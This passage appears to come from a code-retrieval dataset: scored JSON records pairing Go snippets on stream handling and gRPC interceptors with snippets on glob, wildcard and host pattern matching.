{\n\t\t\t\thandleHTTP2Net(c, s)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t//are they both reqres type(that is a reqres was recieved with a url pointing to the destination)\n\t\t\t_, so = src.(*ReqResConn)\n\n\t\t\tif do && so {\n\t\t\t\thandleHTTPReqRes(c, s)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgo func() {\n\t\t\t\ts <- ErrBadConn\n\t\t\t}()\n\n\t\t}, he),\n\t}\n}", "title": "" }, { "docid": "34732912d7364ad826eb555e283641e6", "score": "0.60091907", "text": "func newStream(client *http.Client, req *http.Request) *Stream {\n\ts := &Stream{\n\t\tclient: client,\n\t\tMessages: make(chan interface{}),\n\t\tdone: make(chan struct{}),\n\t\tgroup: &sync.WaitGroup{},\n\t}\n\ts.group.Add(1)\n\tgo s.retry(req, newExponentialBackOff(), newAggressiveExponentialBackOff())\n\treturn s\n}", "title": "" }, { "docid": "644b06813e7c06dea63547436d763157", "score": "0.5983978", "text": "func streamLog(srv any, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler, l middleware.Logger) error {\n\tvar reqID string\n\t{\n\t\tmd, ok := metadata.FromIncomingContext(ss.Context())\n\t\tif !ok {\n\t\t\tmd = metadata.MD{}\n\t\t}\n\t\treqID = MetadataValue(md, RequestIDMetadataKey)\n\t\tif reqID == \"\" {\n\t\t\treqID = shortID()\n\t\t}\n\t}\n\n\tstarted := time.Now()\n\n\t// before executing rpc\n\tl.Log(\"id\", reqID,\n\t\t\"method\", info.FullMethod,\n\t\t\"msg\", \"started stream\")\n\n\t// invoke rpc\n\terr := handler(srv, ss)\n\n\t// after executing rpc\n\ts, _ := status.FromError(err)\n\tl.Log(\"id\", reqID,\n\t\t\"status\", s.Code(),\n\t\t\"msg\", \"completed stream\",\n\t\t\"time\", time.Since(started).String())\n\treturn err\n}", "title": "" }, { "docid": "c25684642063548ca66b3bc59cc8779c", "score": "0.5979309", "text": "func StreamClientInterceptor(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) {\n\treturn streamer(setHeaderMD(ctx), desc, cc, method, opts...)\n}", "title": "" }, { "docid": "43fc8ab8318b87160fe4dac5fd365d25", "score": "0.5978633", "text": "func (p *ProxyStream) Stream(src, dest Conn) (*ConnInsight, error) {\n\tif p.do == nil {\n\t\treturn nil, ErrBadStreamer\n\t}\n\n\tif src == nil || dest == nil {\n\t\treturn nil, ErrorNoConnection\n\t}\n\n\tin := NewInsight(src, dest)\n\tgo func() { p.work <- in }()\n\treturn in, nil\n}", "title": "" }, { "docid": "1aae5d83895731dea4b7dc409cef684f", "score": "0.5971769", "text": "func (ctx *HttpsIpcContext) handleStream(req *core.ResourceRequest) {\n\n\tdefer ctx.wg.Done()\n\tretChan := make(chan error)\n\tdefer close(retChan)\n\tincoming := make(chan []byte)\n\tdefer close(incoming)\n\n\t// setupConn tries to create a persistent HTTP connection to our backend.\n\t// If that fails, the function continues to try again, indefinitely. Once\n\t// a connection was established, the function relays all data from the\n\t// backend to the channel 'incoming'. If the backend closes the connection\n\t// on us, the function writes the error to the channel 'retChan' and\n\t// returns.\n\tsetupConn := func() {\n\t\tvar err error\n\t\tvar resp *http.Response\n\t\tfor success := false; !success; success = (err == nil) {\n\t\t\tlog.Printf(\"Making HTTP request to initiate resource stream.\")\n\t\t\tresp, err = ctx.sendRequest(req, req.BearerToken)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error making HTTP request: %s\", err.Error())\n\t\t\t\tlog.Printf(\"Trying again in %s.\", ctx.timeBeforeRetry)\n\t\t\t\ttime.Sleep(ctx.expBackoff())\n\t\t\t}\n\t\t}\n\t\tdefer resp.Body.Close()\n\t\tctx.timeBeforeRetry = DefaultTimeBeforeRetry\n\n\t\treader := bufio.NewReader(resp.Body)\n\t\tfor {\n\t\t\tline, err := reader.ReadBytes(InterMessageDelimiter)\n\t\t\tif err != nil {\n\t\t\t\tretChan <- err\n\t\t\t\treturn\n\t\t\t}\n\t\t\tincoming <- bytes.TrimSpace(line)\n\t\t}\n\t}\n\n\tgo setupConn()\n\tfor {\n\t\tselect {\n\t\t// We got a new JSON chunk from our backend.\n\t\tcase chunk := <-incoming:\n\t\t\thelper := resources.TmpResourceDiff{}\n\t\t\tif err := json.Unmarshal(chunk, &helper); err != nil {\n\t\t\t\tlog.Printf(\"Error unmarshalling preliminary JSON from backend: %s\", err)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tdiff, err := resources.UnmarshalTmpResourceDiff(&helper)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error unmarshalling remaining JSON from backend: %s\", err)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tctx.messages <- diff\n\t\t// We lost our connection to the backend. Let's try again.\n\t\tcase err := <-retChan:\n\t\t\tlog.Printf(\"Lost connection to backend (%s). Retrying.\", err.Error())\n\t\t\tgo setupConn()\n\t\t// We're told to terminate.\n\t\tcase <-ctx.done:\n\t\t\tlog.Printf(\"Stopping HTTP resource stream.\")\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5fd64d8204c4c2e451c54125860129e4", "score": "0.5969656", "text": "func (ctx *HttpsIpcContext) StartStream(req *core.ResourceRequest) {\n\tctx.messages = req.Receiver\n\tctx.done = make(chan bool)\n\tctx.wg.Add(1)\n\tctx.timeBeforeRetry = DefaultTimeBeforeRetry\n\tgo ctx.handleStream(req)\n}", "title": "" }, { "docid": "45e2ecd831d6cdb30a67b1f8fbc499df", "score": "0.5963643", "text": "func StreamServerInterceptor() grpc.StreamServerInterceptor {\n\treturn func(srv interface{}, stream grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\t\twrapper := &recvWrapper{stream}\n\t\treturn handler(srv, wrapper)\n\t}\n}", "title": "" }, { "docid": "19ac93545b0e7079410970fdb9bed57b", "score": "0.5947568", "text": "func (o *OnceModule) Stream(s bar.Sink) {\n\tforever := make(chan struct{})\n\to.Func(s)\n\t<-forever\n}", "title": "" }, { "docid": "b2c44518c9bf8792cecd77e0003983ea", "score": "0.59199107", "text": "func (s *Stream) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\n\t// ensure the client accepts an event-stream\n\tif !checkRequest(r) {\n\t\thttp.Error(w, \"This is an EventStream endpoint\", http.StatusNotAcceptable)\n\t\treturn\n\t}\n\n\t// create the client\n\tc := NewClient(w, r)\n\tif c == nil {\n\t\thttp.Error(w, \"EventStream not supported for this connection\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// wait for the client to exit or be shutdown\n\ts.Register(c)\n\tif s.clientConnectHook != nil {\n\t\ts.clientConnectHook(r, c)\n\t}\n\tc.Wait()\n\ts.Remove(c)\n}", "title": "" }, { "docid": "a89ecd2f8dfb31d12312cedf758444b4", "score": "0.5914533", "text": "func handleStream(stream net.Conn, addr string) error {\n\tstatsChannel <- addr != \"\"\n\tor, err := pt.DialOr(&ptInfo, addr, ptMethodName)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"connecting to ORPort: %v\", err)\n\t}\n\tdefer or.Close()\n\n\tproxy(or, stream)\n\n\treturn nil\n}", "title": "" }, { "docid": "7c66d2a5ab17b52c4bc12e9c62a96e76", "score": "0.5909074", "text": "func (svc *CameraService) Stream(deviceID string) (*Stream, error) {\n\trel := &url.URL{Path: fmt.Sprintf(\"%s/%s\", svc.apiURL.String(), deviceID)}\n\treturn NewStream(&config.Config{\n\t\tAPIURL: svc.client.baseURL.ResolveReference(rel).String(),\n\t}, svc.client.httpClient)\n}", "title": "" }, { "docid": "67c6458516cbc5f32fa43ab2d4a966d9", "score": "0.590452", "text": "func (s *StressSumStreamServerCallStub) RecvStream() interface {\n\tAdvance() bool\n\tValue() SumArg\n\tErr() error\n} {\n\treturn implStressSumStreamServerCallRecv{s}\n}", "title": "" }, { "docid": "c37ee91505d0ab85e2cd519d58fb4cae", "score": "0.58890295", "text": "func StreamInterceptor() grpc.ServerOption {\n\treturn grpc.StreamInterceptor(func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) (err error) {\n\t\tdefer errors.Recover(func(recErr error) {\n\t\t\terr = status.Error(codes.Internal, \"internal server error\")\n\t\t})\n\n\t\tctx := ss.Context()\n\t\tctx = WithRequestID(ctx)\n\t\tctx = WithSessID(ctx)\n\n\t\tss = &WrappedServerStream{\n\t\t\tServerStream: ss,\n\t\t\tctx: ctx,\n\t\t}\n\t\treturn handler(srv, ss)\n\t})\n}", "title": "" }, { "docid": "ba52b42d99026713945ceac0a59c6ef1", "score": "0.58869356", "text": "func (o OnclickModule) Stream(s bar.Sink) {\n\to.Func(s)\n}", "title": "" }, { "docid": "d9e0b8acf3d38e48b3c31f052212b282", "score": "0.58835787", "text": "func NewStream(name string, client *Client) Stream {\n\treturn Stream{name: name, c: client}\n}", "title": "" }, { "docid": "a898c24b001cf4f56ce369447f33fddb", "score": "0.5879893", "text": "func (c *Client) RegisterStreamHandler(streamHandler func(chan []byte, chan []byte)) {\n\tc.node.SetStreamHandler(streamHandler)\n}", "title": "" }, { "docid": "070e1813686177044870fbc1577b0c1d", "score": "0.58726704", "text": "func (c *crashedClient) GetStream() rpcc.Stream { return c.Stream }", "title": "" } ]
646e41e17f338e9e503994aa7a5f2ad2
patternMatch matches "%" the same way as "." in regular expression, for example, "10.0.%" would match "10.0.1" "10.0.1.118" ...
[ { "docid": "aaa189a4d674f9ea3f2fc9dffecb70a5", "score": "0.5162123", "text": "func patternMatch(str string, patChars, patTypes []byte) bool {\n\treturn stringutil.DoMatchBytes(str, patChars, patTypes)\n}", "title": "" } ]
[ { "docid": "a8851572c6dd4629d78647c048bdf71c", "score": "0.5921985", "text": "func matchPattern(pattern string) func(name string) bool {\n\tre := regexp.QuoteMeta(pattern)\n\tre = strings.Replace(re, `\\.\\.\\.`, `.*`, -1)\n\t// Special case: foo/... matches foo too.\n\tif strings.HasSuffix(re, `/.*`) {\n\t\tre = re[:len(re)-len(`/.*`)] + `(/.*)?`\n\t}\n\treg := regexp.MustCompile(`^` + re + `$`)\n\treturn reg.MatchString\n}", "title": "" }, { "docid": "09144d274a32be1d0ae120ac916393cf", "score": "0.5860028", "text": "func matchPattern(pattern string) (prefix, match func(name string) bool) {\n\tre := regexp.QuoteMeta(pattern)\n\tre = strings.Replace(re, `\\.\\.\\.`, `.*`, -1)\n\t// Special case: foo/... matches foo too.\n\tif strings.HasSuffix(re, `/.*`) {\n\t\tre = re[:len(re)-len(`/.*`)] + `(/.*)?`\n\t}\n\treg := regexp.MustCompile(`^` + re + `$`)\n\tpfx, _ := reg.LiteralPrefix()\n\t//\tlog.Printf(\"prefix %v match %v\", pfx, reg)\n\tprefix = func(name string) bool {\n\t\treturn name == \".\" || strings.HasPrefix(name, pfx) || strings.HasPrefix(pfx, name)\n\t}\n\tmatch = func(name string) bool {\n\t\treturn reg.MatchString(name)\n\t}\n\treturn\n}", "title": "" }, { "docid": "633bb2c3dc4fa49a89224f6e1bc29678", "score": "0.57580566", "text": "func (p Version) Pattern() string {\n\treturn `(versions.name LIKE '%[1]v%%' OR\n\t\tversions.features LIKE '%[1]v%%' OR\n\t\tversions.description LIKE '%%%[1]v%%')`\n}", "title": "" }, { "docid": "dba0aee28f938f7f7156ae9a5abfa7fa", "score": "0.5486691", "text": "func globMatch(pattern string) *regexp.Regexp {\n\tif pattern == \"\" {\n\t\treturn regexp.MustCompile(\"^.*$\")\n\t}\n\t// escaping regex characters\n\tpattern = regexp.QuoteMeta(pattern)\n\t// replacing '?' and '*' with regex characters\n\tpattern = strings.Replace(pattern, \"\\\\?\", \".\", -1)\n\tpattern = strings.Replace(pattern, \"\\\\*\", \".*\", -1)\n\t// pattern must match an entire string\n\treturn regexp.MustCompile(fmt.Sprintf(\"^%s$\", pattern))\n}", "title": "" }, { "docid": "ef5644d46b183bd0c57218ac92192267", "score": "0.5452147", "text": "func wildcardRegex(pattern string) (re *regexp.Regexp, err error) {\n\trunes := []rune(pattern)\n\texpr := []rune{}\n\texpr = append(expr, []rune(\"^\")...)\n\tfor i := 0; i < len(runes); i++ {\n\t\tswitch runes[i] {\n\t\tcase rune('.'):\n\t\t\texpr = append(expr, []rune(`\\.`)...)\n\t\tcase rune('*'):\n\t\t\texpr = append(expr, []rune(`.*`)...)\n\t\tdefault:\n\t\t\texpr = append(expr, runes[i])\n\t\t}\n\t}\n\texpr = append(expr, []rune(\"$\")...)\n\n\tre, err = regexp.Compile(string(expr))\n\tif err != nil {\n\t\treturn re, fmt.Errorf(\"error compiling regex for pattern: %s\", pattern)\n\t}\n\treturn\n}", "title": "" }, { "docid": "d369f276edf352b2d2ff4923de7678cd", "score": "0.54204315", "text": "func parseIncludePattern(pattern string) (exact, like []string, regexp string, err error) {\n\tre, err := regexpsyntax.Parse(pattern, regexpsyntax.OneLine)\n\tif err != nil {\n\t\treturn nil, nil, \"\", err\n\t}\n\texact, contains, prefix, suffix, err := allMatchingStrings(re.Simplify())\n\tif err != nil {\n\t\treturn nil, nil, \"\", err\n\t}\n\tfor _, v := range contains {\n\t\tlike = append(like, \"%\"+v+\"%\")\n\t}\n\tfor _, v := range prefix {\n\t\tlike = append(like, v+\"%\")\n\t}\n\tfor _, v := range suffix {\n\t\tlike = append(like, \"%\"+v)\n\t}\n\tif exact != nil || like != nil {\n\t\treturn exact, like, \"\", nil\n\t}\n\treturn nil, nil, pattern, nil\n}", "title": "" }, { "docid": "ad79f6ac5bc78143992f84710679350a", "score": "0.53619295", "text": "func (h *HostPattern) Match(host string) bool {\n\tswitch v := h.v.(type) {\n\tcase *net.IPNet:\n\t\treturn v.Contains(net.ParseIP(host))\n\tcase string:\n\t\treturn host == v\n\tdefault:\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "07a77a487f5f9e0bbd9082e866c718a0", "score": "0.51870954", "text": "func matchPattern(text string, pattern string) bool {\n\n textLength := len(text)\n patternLength := len(pattern)\n afterLastWildcard := 0\n afterLastMatched := 0\n\n t := 0\n p := 0\n\n for {\n if t >= textLength {\n if p >= patternLength {\n return true // \"x\" matches \"x\"\n } else if pattern[p] == '*' {\n p++\n continue // \"x*\" matches \"x\" or \"xy\"\n }\n return false // \"x\" doesn't match \"xy\"\n }\n\n w := byte(0)\n if p < patternLength {\n w = pattern[p]\n }\n\n if text[t] != w {\n if w == '?' {\n t++\n p++\n continue\n } else if w == '*' {\n p++\n afterLastWildcard = p\n if p >= patternLength {\n return true\n }\n } else if afterLastWildcard > 0 {\n p = afterLastWildcard\n t = afterLastMatched\n t++\n } else {\n return false\n }\n\n for t < textLength && text[t] != pattern[p] && pattern[p] != '?' {\n t++\n }\n\n if t >= textLength {\n return false\n }\n afterLastMatched = t\n }\n t++\n p++\n }\n\n}", "title": "" }, { "docid": "b2b1728eeb168846f83ef372a096dd09", "score": "0.5186296", "text": "func match(pattern, s string) bool {\n\tif pattern == s {\n\t\treturn true\n\t}\n\tif strings.HasSuffix(pattern, \"*\") && strings.HasPrefix(s, pattern[:len(pattern)-1]) {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "c5955378f22e1c5d154cd40da93780f8", "score": "0.51565826", "text": "func matchHost(host, pattern string) bool {\n\tsubpatterns := strings.Split(pattern, \",\")\n\tfound := false\n\tfor _, s := range subpatterns {\n\t\t// If the host name matches a negated pattern, it is not\n\t\t// accepted even if it matches other patterns on that line.\n\t\tif strings.HasPrefix(s, \"!\") && match(host, s[1:]) {\n\t\t\treturn false\n\t\t}\n\t\t// Otherwise, check for a normal match\n\t\tif match(host, s) {\n\t\t\tfound = true\n\t\t}\n\t}\n\t// Return success if we found a positive match. If there was a negative\n\t// match, we have already returned false and never get here.\n\treturn found\n}", "title": "" }, { "docid": "7417608bddc8f2e693207df6ebc3ce13", "score": "0.5131118", "text": "func parsePattern(pattern string) (parts []string) {\n\toriginParts := strings.Split(pattern, \"/\")\n\tparts = make([]string, 0)\n\tfor _, part := range originParts {\n\t\tif part != \"\" {\n\t\t\tparts = append(parts, part)\n\t\t\tif part[0] == '*' {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn parts\n}", "title": "" }, { "docid": "9f4a61c19717777b1779dc4ea9592e86", "score": "0.51007617", "text": "func patternMatchV2(regex, input string) bool {\n\tif len(regex) == 0 {\n\t\tif len(input) == 0 {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}\n\tif len(input) == 0 {\n\t\treturn false\n\t}\n\n\tif len(regex) > 1 && regex[1] == '*' {\n\t\tif input[0] == regex[0] {\n\t\t\treturn patternMatch(regex, input[1:]) || // matches 0 char\n\t\t\t\tpatternMatch(regex[2:], input[1:]) // ignore next char of input\n\t\t}\n\t\treturn false\n\t} else if regex[0] == '.' || (regex[0] == input[0]) {\n\t\tpatternMatch(regex[1:], input[1:])\n\t} else {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "b9f450ad38bf82483e1fa7c026002ee0", "score": "0.5094893", "text": "func wildcardMatcher(str, pattern string) bool {\n\ts := toRuneSlice(str)\n\tp := toRuneSlice(pattern)\n\n\tif len(p) == 0 {\n\t\treturn len(s) == 0\n\t}\n\n\tmatches := make([][]bool, len(s)+1)\n\n\tfor i := range matches {\n\t\tmatches[i] = make([]bool, len(p)+1)\n\t}\n\n\tmatches[0][0] = true\n\n\tfor j := 1; j < len(p)+1; j++ {\n\t\tif p[j-1] == '*' {\n\t\t\tmatches[0][j] = matches[0][j-1]\n\t\t}\n\t}\n\n\tfor i := 1; i < len(s)+1; i++ {\n\t\tfor j := 1; j < len(p)+1; j++ {\n\t\t\tif p[j-1] == '*' {\n\t\t\t\tmatches[i][j] = matches[i][j-1] || matches[i-1][j]\n\n\t\t\t} else if p[j-1] == '?' || s[i-1] == p[j-1] {\n\t\t\t\tmatches[i][j] = matches[i-1][j-1]\n\n\t\t\t} else {\n\t\t\t\tmatches[i][j] = false\n\t\t\t}\n\t\t}\n\t}\n\n\treturn matches[len(s)][len(p)]\n}", "title": "" }, { "docid": "cb7d8f40b212ff18b67253f93a9c4d08", "score": "0.50349754", "text": "func likeConvert(pattern string, record string) (bool, error) {\n\t// If pattern is empty just return false\n\tif pattern == \"\" || record == \"\" {\n\t\treturn false, nil\n\t}\n\t// for suffix match queries e.g %a\n\tif len(pattern) >= 2 && pattern[0] == byte('%') && strings.Count(pattern, \"%\") == 1 {\n\t\treturn suffixMatch(pattern, record), nil\n\t}\n\t// for prefix match queries e.g a%\n\tif len(pattern) >= 2 && pattern[len(pattern)-1] == byte('%') && strings.Count(pattern, \"%\") == 1 {\n\t\treturn prefixMatch(pattern, record), nil\n\t}\n\tcharCount := 0\n\tcurrPos := 0\n\t// Loop through the pattern so that a boolean can be returned\n\tfor i := 0; i < len(pattern); i++ {\n\t\tif pattern[i] == byte('_') {\n\t\t\t// if its an underscore it can be anything so shift current position for\n\t\t\t// pattern and string\n\t\t\tcharCount++\n\t\t\t// if there have been more characters in the pattern than record, clearly\n\t\t\t// there should be a return\n\t\t\tif i != len(pattern)-1 {\n\t\t\t\tif pattern[i+1] != byte('%') && pattern[i+1] != byte('_') {\n\t\t\t\t\tif currPos != len(record)-1 && pattern[i+1] != record[currPos+1] {\n\t\t\t\t\t\treturn false, nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif charCount > len(record) {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\t// if the pattern has been fully evaluated, then just return.\n\t\t\tif len(pattern) == i+1 {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\ti++\n\t\t\tcurrPos++\n\t\t}\n\t\tif pattern[i] == byte('%') || pattern[i] == byte('*') {\n\t\t\t// if there is a wildcard then want to return true if its last and flag it.\n\t\t\tif currPos == len(record) {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\tif i+1 == len(pattern) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t} else {\n\t\t\tcharCount++\n\t\t\tmatched := false\n\t\t\t// iterate through the pattern and check if there is a match for the\n\t\t\t// character\n\t\t\tfor currPos < len(record) {\n\t\t\t\tif record[currPos] == pattern[i] || pattern[i] == byte('_') {\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tcurrPos++\n\t\t\t}\n\t\t\tcurrPos++\n\t\t\t// if the character did not match then return should occur.\n\t\t\tif !matched {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t}\n\t}\n\tif charCount > len(record) {\n\t\treturn false, nil\n\t}\n\tif currPos < len(record) {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}", "title": "" }, { "docid": "19a05a253a23b48b8ea261bcf8819f51", "score": "0.50235146", "text": "func Pattern(params []string) (core.ValidateFunc, error) {\n\tif len(params) != 1 {\n\t\treturn nil, errors.New(\"pattern validation needs to have 1 param\")\n\t}\n\tpattern := params[0]\n\tregex, err := regexp.Compile(pattern)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn func(item *core.Item) error {\n\t\tvalue := item.Value.String()\n\t\tif regex.MatchString(value) {\n\t\t\treturn nil\n\t\t}\n\t\treturn fmt.Errorf(\"'%s' doesn't match the pattern '%s'\", value, pattern)\n\t}, nil\n}", "title": "" }, { "docid": "9c1d7fae18025c4027131c74a3085fcc", "score": "0.49963635", "text": "func (p ResourcePattern) Match(s string) bool {\n\tif len(p.pattern) == 0 {\n\t\treturn false\n\t}\n\n\tif !p.hasWild {\n\t\treturn s == p.pattern\n\t}\n\n\tslen := len(s)\n\tplen := len(p.pattern)\n\n\tif plen > slen {\n\t\treturn false\n\t}\n\n\tsi := 0\n\tpi := 0\n\tfor {\n\t\tswitch p.pattern[pi] {\n\t\tcase fwc:\n\t\t\treturn true\n\t\tcase pwc:\n\t\t\tpi++\n\t\t\tfor {\n\t\t\t\tif s[si] == btsep {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tsi++\n\t\t\t\tif si >= slen {\n\t\t\t\t\treturn pi == plen\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\tif s[si] != p.pattern[pi] {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\tpi++\n\t\tsi++\n\t\tif si >= slen {\n\t\t\treturn pi == plen\n\t\t}\n\t\tif pi >= plen {\n\t\t\treturn false\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d9277f5fcd6790475e7e8043dc4d24c8", "score": "0.4982129", "text": "func Pattern(pt PatternType) validatorImpl {\n\treturn validatorImpl{\n\t\tname: \"pattern\",\n\t\tparams: map[string]interface{}{\"pattern\": pt.String()},\n\t\tvFunc: strPredicateFunc(func(str string) bool {\n\t\t\treturn patternRegistry[pt].Match([]byte(str))\n\t\t}),\n\t}\n}", "title": "" }, { "docid": "2233c576ce1aac1d42f68ab072e0d767", "score": "0.49400932", "text": "func compareHost(x, y string) int {\n\t// The more-specific, the smaller it is.\n\t// The pattern '%' means “any host” and is least specific.\n\tif y == `%` {\n\t\tif x == `%` {\n\t\t\treturn 0\n\t\t}\n\t\treturn -1\n\t}\n\n\t// The empty string '' also means “any host” but sorts after '%'.\n\tif y == \"\" {\n\t\tif x == \"\" {\n\t\t\treturn 0\n\t\t}\n\t\treturn -1\n\t}\n\n\t// One of them end with `%`.\n\txEnd := strings.HasSuffix(x, `%`)\n\tyEnd := strings.HasSuffix(y, `%`)\n\tif xEnd || yEnd {\n\t\tswitch {\n\t\tcase !xEnd && yEnd:\n\t\t\treturn -1\n\t\tcase xEnd && !yEnd:\n\t\t\treturn 1\n\t\tcase xEnd && yEnd:\n\t\t\t// 192.168.199.% smaller than 192.168.%\n\t\t\t// A not very accurate comparison, compare them by length.\n\t\t\tif len(x) > len(y) {\n\t\t\t\treturn -1\n\t\t\t}\n\t\t}\n\t\treturn 0\n\t}\n\n\t// For other case, the order is nondeterministic.\n\tswitch x < y {\n\tcase true:\n\t\treturn -1\n\tcase false:\n\t\treturn 1\n\t}\n\treturn 0\n}", "title": "" }, { "docid": "bc915f3fcb91a41424af85aa83f1d06c", "score": "0.493742", "text": "func PatternFromAddr(a string) string {\n\tu, _ := url.Parse(a)\n\n\tp := u.Path\n\tif !strings.HasSuffix(p, \"/\") {\n\t\tp = p + \"/\"\n\t}\n\n\treturn u.Hostname() + p\n}", "title": "" }, { "docid": "45853ba360dd3439e767a8045f2b6032", "score": "0.49307227", "text": "func NewPattern(pattern string) Pattern {\n\tswitch {\n\tcase strings.HasPrefix(pattern, semverPrefix):\n\t\tpattern = strings.TrimPrefix(pattern, semverPrefix)\n\t\tc, _ := semver.NewConstraint(pattern)\n\t\treturn SemverPattern{pattern, c}\n\tcase strings.HasPrefix(pattern, regexpPrefix):\n\t\tpattern = strings.TrimPrefix(pattern, regexpPrefix)\n\t\tr, _ := regexp.Compile(pattern)\n\t\treturn RegexpPattern{pattern, r}\n\tcase strings.HasPrefix(pattern, regexpAltPrefix):\n\t\tpattern = strings.TrimPrefix(pattern, regexpAltPrefix)\n\t\tr, _ := regexp.Compile(pattern)\n\t\treturn RegexpPattern{pattern, r}\n\tdefault:\n\t\treturn GlobPattern(strings.TrimPrefix(pattern, globPrefix))\n\t}\n}", "title": "" }, { "docid": "7510654d4c58e7b733e7074113452238", "score": "0.49206138", "text": "func treeCanMatchPattern(pattern string) func(name string) bool {\n\twildCard := false\n\tif i := strings.Index(pattern, \"...\"); i >= 0 {\n\t\twildCard = true\n\t\tpattern = pattern[:i]\n\t}\n\treturn func(name string) bool {\n\t\treturn len(name) <= len(pattern) && hasPathPrefix(pattern, name) ||\n\t\t\twildCard && strings.HasPrefix(name, pattern)\n\t}\n}", "title": "" }, { "docid": "5fe047e3a2257e7c570a762c09aec1b2", "score": "0.48896217", "text": "func matchSubdomain(domain, pattern string) bool {\n\tif !matchScheme(domain, pattern) {\n\t\treturn false\n\t}\n\tdidx := strings.Index(domain, \"://\")\n\tpidx := strings.Index(pattern, \"://\")\n\tif didx == -1 || pidx == -1 {\n\t\treturn false\n\t}\n\tdomAuth := domain[didx+3:]\n\t// to avoid long loop by invalid long domain\n\tconst maxDomainLen = 253\n\tif len(domAuth) > maxDomainLen {\n\t\treturn false\n\t}\n\tpatAuth := pattern[pidx+3:]\n\n\tdomComp := strings.Split(domAuth, \".\")\n\tpatComp := strings.Split(patAuth, \".\")\n\tconst divHalf = 2\n\tfor i := len(domComp)/divHalf - 1; i >= 0; i-- {\n\t\topp := len(domComp) - 1 - i\n\t\tdomComp[i], domComp[opp] = domComp[opp], domComp[i]\n\t}\n\tfor i := len(patComp)/divHalf - 1; i >= 0; i-- {\n\t\topp := len(patComp) - 1 - i\n\t\tpatComp[i], patComp[opp] = patComp[opp], patComp[i]\n\t}\n\n\tfor i, v := range domComp {\n\t\tif len(patComp) <= i {\n\t\t\treturn false\n\t\t}\n\t\tp := patComp[i]\n\t\tif p == \"*\" {\n\t\t\treturn true\n\t\t}\n\t\tif p != v {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "70cb6b312c16a1b3af1776be17cfc9db", "score": "0.48885822", "text": "func Match(pattern, str string) (bool, error) {\n\tif len(pattern) == 0 {\n\t\treturn true, nil\n\t}\n\treturn doublestar.Match(pattern, str)\n}", "title": "" }, { "docid": "a7c98aeb0f3e6df9b4e08afa966daa0a", "score": "0.48858473", "text": "func matchPattern(pattern, name, path string) bool {\n\ts := name\n\n\tpattern = replaceTilde(pattern)\n\n\tif filepath.IsAbs(pattern) {\n\t\ts = filepath.Join(path, name)\n\t}\n\n\t// pattern errors are checked when 'hiddenfiles' option is set\n\tmatched, _ := filepath.Match(pattern, s)\n\n\treturn matched\n}", "title": "" }, { "docid": "3f0371e94c48a7ea3f07fbe6bdc74185", "score": "0.48753145", "text": "func match(regExps []string, uri string) bool {\n\tif len(regExps) == 0 {\n\t\treturn true\n\t}\n\tnormalizedUri := url.Normalize(uri)\n\tfor _, urlRegexp := range regExps {\n\t\tre, err := regexp.Compile(urlRegexp)\n\t\tif err != nil {\n\t\t\tzlog.Error().Msgf(\"Failed to compile regular expression: %s\", urlRegexp)\n\t\t\tcontinue\n\t\t}\n\t\tif match := re.MatchString(normalizedUri); match {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "33eb404fd480d6eaf108857d1b448c70", "score": "0.48638374", "text": "func matchSubdomain(domain, pattern string) bool {\n\tif !matchScheme(domain, pattern) {\n\t\treturn false\n\t}\n\tdidx := strings.Index(domain, \"://\")\n\tpidx := strings.Index(pattern, \"://\")\n\tif didx == -1 || pidx == -1 {\n\t\treturn false\n\t}\n\tdomAuth := domain[didx+3:]\n\t// to avoid long loop by invalid long domain\n\tif len(domAuth) > 253 {\n\t\treturn false\n\t}\n\tpatAuth := pattern[pidx+3:]\n\n\tdomComp := strings.Split(domAuth, \".\")\n\tpatComp := strings.Split(patAuth, \".\")\n\tfor i := len(domComp)/2 - 1; i >= 0; i-- {\n\t\topp := len(domComp) - 1 - i\n\t\tdomComp[i], domComp[opp] = domComp[opp], domComp[i]\n\t}\n\tfor i := len(patComp)/2 - 1; i >= 0; i-- {\n\t\topp := len(patComp) - 1 - i\n\t\tpatComp[i], patComp[opp] = patComp[opp], patComp[i]\n\t}\n\n\tfor i, v := range domComp {\n\t\tif len(patComp) <= i {\n\t\t\treturn false\n\t\t}\n\t\tp := patComp[i]\n\t\tif p == \"*\" {\n\t\t\treturn true\n\t\t}\n\t\tif p != v {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": 